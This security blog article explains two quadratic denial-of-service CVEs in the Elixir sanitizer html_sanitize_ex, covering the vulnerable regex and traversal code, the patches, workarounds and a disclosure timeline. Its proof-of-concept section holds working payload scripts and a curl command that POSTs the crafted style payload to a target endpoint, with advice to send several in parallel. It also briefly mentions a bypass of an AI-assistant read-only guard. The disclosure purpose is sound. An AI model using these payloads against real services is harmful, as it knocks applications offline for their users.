HB Updated Aug 13, 2026

The Sanitizer Is the Weapon: CVE-2026-68749 & CVE-2026-68750 — Quadratic Denial of Service in Elixir's html_sanitize_ex

On August 6, 2026, NIST’s National Vulnerability Database published two closely related vulnerabilities in html_sanitize_ex, the long-standing HTML-sanitization library for Elixir/Erlang applications. CVE-2026-68749 is a regex-catastrophe in the CSS scrubber; CVE-2026-68750 is a quadratic sibling-re-flattening in the traversal engine that sits on every public entry point. NVD scores both 8.2 High on CVSS 4.0 (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H). They affect every release from 0.3.1 up to (but not including) 1.5.3 — the fix was committed on August 4, 2026 and released to Hex as 1.5.3 on August 5, with the advisories and NVD records following on August 6.

The irony is the whole story. This library exists for one reason: to take attacker-controlled HTML and make it safe. It is the thing you call precisely so that untrusted input cannot hurt you. And yet two independent bugs meant that a single crafted request — no authentication, no privilege, no clever chain — could pin a BEAM scheduler for seconds at a time. Send a few concurrently and the application stops responding. The shield became the weapon.

What makes these bugs satisfying to write about is how small they are. One is a regex with an unbounded greedy quantifier — the patch literally adds six characters ({1,64}). The other is a list-traversal helper that flattens a growing accumulator inside a recursion, paying O(n) at each of n steps. Both are textbook complexity bugs (CWE-1333 and CWE-407 respectively), both are trivial to spot once shown the diff, and both lived in a security-critical library for roughly a decade — the first affected release, 0.3.1, dates to February 2016. They are a neat case study in how “obviously fine” code hides quadratic behavior, and why the BEAM’s scheduler model turns a slow function into a service outage.

This article walks through both vulnerable code paths, why each one is quadratic, a reproducible proof of concept you can run in seconds, what is and isn’t affected, and how to fix it. If the topic of “untrusted input that weaponises the code meant to tame it” sounds familiar, it is the same structural family we examined in our article on pgAdmin’s AI-assistant read-only bypass — a guard whose own implementation undid the guarantee it advertised. Here the guard is an HTML sanitizer, and the casualty is availability rather than integrity.

Attack flow: one crafted request pins a BEAM scheduler and saturates the pool


Vulnerability Classification

Two CVEs, one library, one patch release. The table below covers both.

Field CVE-2026-68749 (CSS scrubber) CVE-2026-68750 (traverser)
CVSS 4.0 (primary) 8.2 — High 8.2 — High
CVSS 4.0 Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N identical
CVSS 3.1 (NVD equivalent) 7.5 — High (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) identical
CWE CWE-1333 — Inefficient Regular Expression Complexity CWE-407 — Inefficient Algorithmic Complexity
CAPEC CAPEC-492 — Regular Expression Exponential Blowup CAPEC-130 — Excessive Allocation
Affected Component HtmlSanitizeEx.Scrubber.CSS.scrub/1 (lib/html_sanitize_ex/scrubber/css.ex) HtmlSanitizeEx.Traverser.traverse/2 (lib/html_sanitize_ex/traverser.ex)
Reachable From HtmlSanitizeEx.html5/1 and any custom scrubber use HtmlSanitizeEx, extend: :html5 (via <style> bodies / style attributes); also direct calls to CSS.scrub/1 Every public entry point — basic_html/1, html5/1, markdown_html/1, strip_tags/1
Affected Versions ≥ 0.3.1, < 1.5.3 ≥ 0.3.1, < 1.5.3
Fixed Version 1.5.3 1.5.3
Fix Commits 4f4bd9e (Aug 4, 2026) 9f5cced (Aug 4, 2026)
Impact CPU exhaustion (availability only). Nothing read, modified, or disclosed CPU and memory exhaustion (availability only)
CVE Published August 6, 2026 (NVD / EEF CNA) August 6, 2026 (NVD / EEF CNA)
Discoverer Peter Ullrich Peter Ullrich
Analyst Jonatan Männchen (Erlang Ecosystem Foundation) Jonatan Männchen (EEF)
Fix Author René Föhring (rrrene, library maintainer) René Föhring

Read the CVSS vector carefully. VC:N/VI:N/VA:H means zero confidentiality impact, zero integrity impact, High availability impact — this is a pure denial-of-service bug, not a data-breach bug. The AT:P (attack complexity: present) reflects a real precondition for CVE-2026-68749: to reach the CSS scrubber you must be using the html5 scrubber (or a custom scrubber that extends :html5), because only that configuration routes <style> bodies and style attributes through CSS.scrub/1. The traverser bug (CVE-2026-68750) carries no such caveat — it sits on the hot path of every entry point, so any application that sanitizes user HTML at all is exposed.


Background: html_sanitize_ex, the BEAM, and Why “Slow” Means “Down”

The library

html_sanitize_ex is a Hex package maintained by René Föhring that parses an HTML string into a tree, walks that tree, and strips or rewrites elements and attributes according to a scrubber policy. It ships several ready-made policies and lets you define your own:

  • HtmlSanitizeEx.basic_html/1 — a conservative allow-list (no <style>, no style= attributes).
  • HtmlSanitizeEx.html5/1 — a richer allow-list that does permit <style> elements and inline style attributes, and therefore routes their contents through the CSS scrubber to neutralize things like javascript: URLs and @import rules.
  • HtmlSanitizeEx.markdown_html/1, strip_tags/1 — other common policies.

Regardless of which policy you pick, every call funnels through one place: HtmlSanitizeEx.Traverser.traverse/2, which walks the parsed tree and invokes the chosen scrubber at each node.

Why a slow function is an outage on the BEAM

This is the part that decides whether these bugs are “theoretical” or “your phone rings at 2 a.m.” The BEAM (Erlang VM) is famous for massive concurrency, and people misread that as “the BEAM is immune to CPU denial of service.” It is not.

The BEAM schedules lightweight processes onto a fixed pool of scheduler threads — normally one per logical core. Concurrency comes from preemptive scheduling: the VM can pause one process and run another at safe points. The catch is the word safe points. Regex matching in the BEAM goes through the re module, a NIF (a native-implemented function) backed by PCRE. A single pathological match is a native call that monopolises one scheduler for its full duration — it does not hand control back to the VM partway through. Likewise, a tight pure-Elixir loop occupies a scheduler between reduction checkpoints.

So the arithmetic is brutal:

  • One malicious request pegs one scheduler for ~2.4 s (the CSS bug) or ~1.7 s (the traverser bug, for a 160 KB body).
  • An 8-core box has 8 schedulers.
  • Eight concurrent malicious requests — a few bytes each — pin every scheduler, and genuine user traffic queues behind them. The application is, for all practical purposes, down.

This is exactly the failure mode the Erlang Ecosystem Foundation’s advisory describes: “a few concurrent requests saturate the BEAM scheduler pool and make the application unresponsive.” There is no crash, no data corruption, no log line screaming CVE — just a service that quietly stops answering. That makes these bugs both easy to weaponize and easy to misdiagnose as “the database is slow.”


Bug 1: The CSS Scrubber Regex (CVE-2026-68749, CWE-1333)

The vulnerable code

When html5/1 encounters a <style> element or a style="..." attribute, it hands the CSS text to HtmlSanitizeEx.Scrubber.CSS.scrub/1. Here is the vulnerable function, from a release earlier than 1.5.3:

# lib/html_sanitize_ex/scrubber/css.ex  (VULNERABLE, < 1.5.3)
def scrub(text) do
  text = String.replace(text, ~r/(\/\*|\*\/|<!--|-->)/, " ")

  Regex.replace(~r/([-\w]+)\s*:\s*([^:;]*)/, text, fn _all, a, b ->
    case scrub_css(a, b) do
      {property, value} -> "#{property}: #{value}"
      nil -> ""
    end
  end)
end

The intent is wholesome: find property: value declarations, pass each through an allow-list (scrub_css/2), and either keep or drop it. The problem is the regex itself:

([-\w]+)\s*:\s*([^:;]*)

The first capture group ([-\w]+) is an unbounded greedy match for the property name — one or more word characters or hyphens, with no length limit — immediately followed by a mandatory :.

Why that is quadratic

Consider an input that is a very long run of word characters, followed by a non-word character and then a colon — exactly the malicious shape from the regression test:

<style>  aaaa…aaaa !:  </style>
         └ 80,000 'a' ┘

The engine matches [-\w]+ greedily and consumes the whole 80,000-character run. Then it looks for :. The next character is ! — not : and not whitespace. So it backtracks: gives back one character, retries : at that position; still an a. Gives back another, retries. It exhausts the entire run without ever finding the colon (the lone : sits behind a ! that [-\w]+ can never cross), advances the start offset by one, and performs the same linear scan again. At each of ~80,000 start offsets it does ~80,000 units of work: O(n²).

Why does a colon have to be present at all? Because PCRE — the engine behind the BEAM re module — applies a required-character fast-reject: this pattern literally requires a :, so if the string contains no colon anywhere, the match is refused almost instantly. The benign payload, aaaa…a! with no colon, is rescued by that optimization and returns in milliseconds. Add a single : after the ! and the optimization no longer applies, the engine falls back to full backtracking, and the same-sized input suddenly costs roughly 2.4 seconds of scheduler time. The difference between “fast” and “down” is one character. (Double the run and you don’t double the cost — you roughly quadruple it, because the work is quadratic in the run length.)

That is exactly why the upstream regression test compares two strings — aaaa…a! (benign, fast) against aaaa…a!: (malicious, slow) — and asserts the second is not an order of magnitude slower than the first.

The fix

The patch is 4f4bd9e, and it is genuinely six characters. The maintainer bounded the property-name capture group:

# lib/html_sanitize_ex/scrubber/css.ex  (FIXED, 1.5.3)
Regex.replace(~r/([-\w]{1,64})\s*:\s*([^:;]*)/, text, fn _all, a, b ->

The only change is [-\w]+[-\w]{1,64}. A real CSS property name is never longer than a couple of dozen characters (border-bottom-color is 19), so capping the group at 64 costs nothing legitimate and caps the backtracking work at a constant. The quadratic cliff is gone because the engine can never commit to a greedy run longer than 64 characters in the first place.


Bug 2: The Traverser’s Sibling Re-Flattening (CVE-2026-68750, CWE-407)

If the first bug is “only people who allow <style> get hurt,” the second bug has no such mercy. It lives in HtmlSanitizeEx.Traverser.traverse/2, and every public entry point — basic_html/1, html5/1, markdown_html/1, strip_tags/1 — routes through it.

The vulnerable code

Here is the list-traversal clause as it existed before 1.5.3:

# lib/html_sanitize_ex/traverser.ex  (VULNERABLE, < 1.5.3)
def traverse([], _scrubber_module), do: []

def traverse([head | tail], scrubber_module) do
  head = traverse(head, scrubber_module) |> collapse_list
  tail = traverse(tail, scrubber_module)

  result = List.flatten([head] ++ tail)   # <-- the quadratic line
  result
end

It recurses over a list of sibling nodes: scrub the head, recurse into the tail, then flatten [head] ++ tail at every level of the recursion.

Why that is quadratic

tail is the already-traversed remainder of the list — it grows by one element at each return from the recursion. At the outermost call, tail contains n-1 scrubbed siblings. At the next call it contains n-2. And so on. At each of those n levels, List.flatten([head] ++ tail) walks and copies the entire tail it has been handed.

Walking a list of length k is O(k). Doing it n times where k shrinks from n down to 0 sums to roughly n²/2 operations. Traversal is quadratic in the sibling count.

The reason the flatten is there at all is almost poignant: it exists for the rare case where a scrubber returns several replacement nodes for a single input node. That edge case is real but uncommon, and the cost of catering to it was being paid across the entire tail at every step. The advisory’s measurement: a 160 KB body of 20,000 sibling <b>a</b> elements occupies a scheduler for roughly 1.7 seconds — and the cost “grows faster than the body does,” i.e. faster than linear.

The payload for this bug is delightfully boring: it needs only allowed tags. No <style>, no style=, no exotic configuration. A wall of <b>a</b><b>a</b>… defeats the default basic_html scrubber just as effectively as the permissive html5 one.

Complexity comparison: the vulnerable O(n^2) curve climbing past the fixed O(n) line

The fix

Patch 9f5cced rewrites the clause to a single left-to-right pass with one flatten at the very end:

# lib/html_sanitize_ex/traverser.ex  (FIXED, 1.5.3)
def traverse(list, scrubber_module) when is_list(list) do
  Enum.reduce(list, [], fn head, acc ->
    elem = traverse(head, scrubber_module) |> collapse_list
    [elem | acc]
  end)
  |> Enum.reverse()
  |> List.flatten()
end

Each sibling is processed once and prepended to an accumulator (O(1) per step), the accumulator is reversed once (O(n)), and List.flatten/1 is called once instead of n times. The whole traversal drops from O(n²) to O(n). The rare multi-replacement edge case still works because the final List.flatten/1 collapses any nested lists produced by collapse_list.

Two small edits — a {1,64} bound and a reduce instead of a recursion-with-inner-flatten — and a decade-old quadratic is gone.


Proof of Concept

https://github.com/Hunt-Benito/the-sanitizer-is-the-weapon-cve-2026-68749-cve-2026-68750-quadratic-dos-in-elixir-html-sanitize-ex

The cleanest way to reproduce is to build the library at the last vulnerable version and time the two payloads directly. The PoC is a single Elixir script that does exactly that against any installed copy of html_sanitize_ex < 1.5.3, and it mirrors the two regression tests the maintainer added in the fix commits.

Payload 1 — CSS regex backtracking (CVE-2026-68749)

The trigger is a long run of word characters not followed by a colon, wrapped in <style>. Compare a benign variant against a malicious one that is one character different:

# poc.exs  — run with:  elixir poc.exs
size = 80_000

# Benign: long run of 'a' then '!' — no ':' anywhere, so PCRE's required-char reject fires
benign  = "<style>" <> String.duplicate("a", size) <> "!</style>"
# Malicious: same run, then "!:" — a ':' is now present (behind a '!'), defeating the fast-reject
attack  = "<style>" <> String.duplicate("a", size) <> "!:</style>"

{t_benign,  _} = :timer.tc(fn -> HtmlSanitizeEx.html5(benign) end)
{t_attack,  _} = :timer.tc(fn -> HtmlSanitizeEx.html5(attack) end)

IO.puts("benign  : #{t_benign}  µs")
IO.puts("attack  : #{t_attack}  µs  (#{Float.round(t_attack / max(t_benign, 1), 1)}× slower)")

On a vulnerable build the attack string costs on the order of seconds, while the benign string of identical length returns almost instantly. The only difference is a single : that defeats PCRE’s required-character fast-reject.

Payload 2 — sibling re-flattening (CVE-2026-68750)

This one does not even need <style>. A flat run of allowed sibling tags is enough, and it hits every scrubber including the strict basic_html/1:

baseline = String.duplicate("<b>a</b>", 2_000)
attack   = String.duplicate("<b>a</b>", 20_000)

{t_base, _} = :timer.tc(fn -> HtmlSanitizeEx.basic_html(baseline) end)
{t_atk,  _} = :timer.tc(fn -> HtmlSanitizeEx.basic_html(attack) end)

IO.puts("2,000 siblings : #{t_base} µs")
IO.puts("20,000 siblings: #{t_atk} µs  (#{Float.round(t_atk / max(t_base, 1), 1)}× slower for 10× input)")

Ten times the input yields well over ten times the work — that non-linear ratio is the fingerprint of the quadratic.

Turning it into a remote attack

In a real Phoenix application these calls happen wherever the server sanitizes user-supplied rich text — a comment form, a profile “about me” field, an API endpoint that stores HTML. The attacker just POSTs the payload as the field value:

# 80 KB of 'a' + a trailing colon, sent as a comment body.
# A handful of these in parallel saturates the scheduler pool.
PAYLOAD="<style>$(python3 -c "print('a'*80000,end='')")!:</style>"

curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
  -X POST https://target.example.com/comments \
  --data-urlencode "body=$PAYLOAD"

Caveat. Whether a given deployment is remotely exploitable depends entirely on whether user input reaches the sanitizer and, for the CSS bug, whether the html5 (or a :html5-extending) scrubber is in use. An application that calls strip_tags/1 is immune to CVE-2026-68749 but still exposed to CVE-2026-68750. There is no authentication or privilege involved — if the endpoint accepts the HTML at all, the sanitizer pays the cost.


Impact, Affected Configurations, and Workarounds

Who is affected

Configuration CVE-2026-68749 (CSS) CVE-2026-68750 (traverser)
HtmlSanitizeEx.html5/1 Vulnerable Vulnerable
Custom scrubber use HtmlSanitizeEx, extend: :html5 Vulnerable Vulnerable
Direct calls to CSS.scrub/1 Vulnerable n/a
HtmlSanitizeEx.basic_html/1 Not reachable (no <style>/style=) Vulnerable
HtmlSanitizeEx.markdown_html/1 Not reachable Vulnerable
HtmlSanitizeEx.strip_tags/1 Not reachable Vulnerable

The headline takeaway: every user of the library is exposed to at least one of the two bugs. Users of the permissive html5 scrubber get both.

Workarounds (if you cannot upgrade immediately)

The advisory offers two mitigations short of upgrading:

  1. Switch scrubber. For CVE-2026-68749 only, sanitizing with basic_html/1, markdown_html/1, or strip_tags/1 avoids the CSS scrubber entirely — provided you can tolerate dropping <style> and inline styles. This does not help with CVE-2026-68750.
  2. Cap input size. Bound the size (and, for the traverser bug, the node count) of user-supplied HTML before it reaches the sanitizer. Because both bugs are super-linear, the cap must be aggressive to be effective — a generous megabyte limit is useless; something on the order of a few tens of kilobytes is what actually blunts the attack.

The real fix is to upgrade.


Remediation Checklist

  1. Upgrade to html_sanitize_ex 1.5.3 or later. In mix.exs:
    elixir {:html_sanitize_ex, "~> 1.5.3"}
    then mix deps.update html_sanitize_ex.
  2. Verify the fix. Re-run the two PoC snippets above against the upgraded dependency. The benign and attack timings should now be within the same order of magnitude (the upstream regression tests assert a ratio under 10× for the CSS bug and under 20× for the traverser bug).
  3. Add a defense-in-depth input cap. Even on the fixed version, cap the byte length and sibling/node count of any user-supplied HTML at your application boundary. Cheap, sensible, and it limits every future “the sanitizer is slow on weird input” class of bug.
  4. Confirm your scrubber policy. Grep for call sites — grep -RInE "HtmlSanitizeEx\.(html5|basic_html|markdown_html|strip_tags)" lib/. Note which use html5/1; those were exposed to both bugs pre-upgrade.
  5. No data to rotate. Because impact is availability-only (VC:N/VI:N), there are no credentials to rotate and no data to audit. If you saw unexplained latency or scheduler-saturation alerts in the window before August 6, 2026, on an internet-exposed endpoint that sanitizes HTML, this is a plausible explanation.

Do not attempt to “fix” CVE-2026-68749 yourself by stripping : characters or rewriting the regex in your own wrapper. Bounded quantifiers in the library are the correct fix; hand-rolling sanitization is how the library got its job in the first place.


Attack / Disclosure Timeline

Date Event
Since Feb 2016 html_sanitize_ex 0.3.1 ships with both the unbounded CSS regex and the recursive inner-flatten traverser; the quadratic behavior is latent
Aug 4, 2026 Maintainer René Föhring commits both fixes — 4f4bd9e (CSS regex bound) and 9f5cced (traverser rewrite) — on the same day
Aug 5, 2026 1.5.3 published to Hex with both fixes
Aug 6, 2026 EEF CNA publishes CVE-2026-68749 (GHSA-4cx2-987x-rr2x) and CVE-2026-68750 (GHSA-463q-p2fr-mh9p)
Aug 6, 2026 NVD publishes both CVEs, CVSS 8.2 High (CVSS 4.0) / 7.5 High (CVSS 3.1), CWE-1333 and CWE-407

Sources

Erlang Ecosystem Foundation CNA — CVE-2026-68749 (Quadratic regex backtracking in the CSS scrubber): https://cna.erlef.org/cves/CVE-2026-68749.html

Erlang Ecosystem Foundation CNA — CVE-2026-68750 (Quadratic sibling re-flattening in the traversal engine): https://cna.erlef.org/cves/CVE-2026-68750.html

NIST National Vulnerability Database — CVE-2026-68749: https://nvd.nist.gov/vuln/detail/CVE-2026-68749

NIST National Vulnerability Database — CVE-2026-68750: https://nvd.nist.gov/vuln/detail/CVE-2026-68750

CVE.org — CVE-2026-68749: https://www.cve.org/CVERecord?id=CVE-2026-68749

CVE.org — CVE-2026-68750: https://www.cve.org/CVERecord?id=CVE-2026-68750

GitHub Security Advisory — GHSA-4cx2-987x-rr2x (Quadratic regex backtracking in the html_sanitize_ex CSS scrubber): https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-4cx2-987x-rr2x

GitHub Security Advisory — GHSA-463q-p2fr-mh9p (Quadratic sibling re-flattening in the html_sanitize_ex traversal engine): https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-463q-p2fr-mh9p

Fix Commit — 4f4bd9e (Fix PCRE exhaustion, CVE-2026-68749): https://github.com/rrrene/html_sanitize_ex/commit/4f4bd9eb254881462c0461fbab74b29188c2c133

Fix Commit — 9f5cced (Fix sibling traversal exhaustion, CVE-2026-68750): https://github.com/rrrene/html_sanitize_ex/commit/9f5ccedbed230930813f992a1e6906fcf485981e

html_sanitize_ex source repository (rrrene/html_sanitize_ex): https://github.com/rrrene/html_sanitize_ex

MITRE CWE-1333 — Inefficient Regular Expression Complexity: https://cwe.mitre.org/data/definitions/1333.html

MITRE CWE-407 — Inefficient Algorithmic Complexity: https://cwe.mitre.org/data/definitions/407.html

MITRE CAPEC-492 — Regular Expression Exponential Blowup: https://capec.mitre.org/data/definitions/492.html

MITRE CAPEC-130 — Excessive Allocation: https://capec.mitre.org/data/definitions/130.html

Previous Hunt-Benito article — One Quote Too Many: CVE-2026-17351 (a guard whose own implementation undid the guarantee it advertised): https://www.hunt-benito.com/blog/one-quote-too-many-cve-2026-17351-how-a-backslash-broke-pgadmins-ai-assistant-read-only-guard-twice/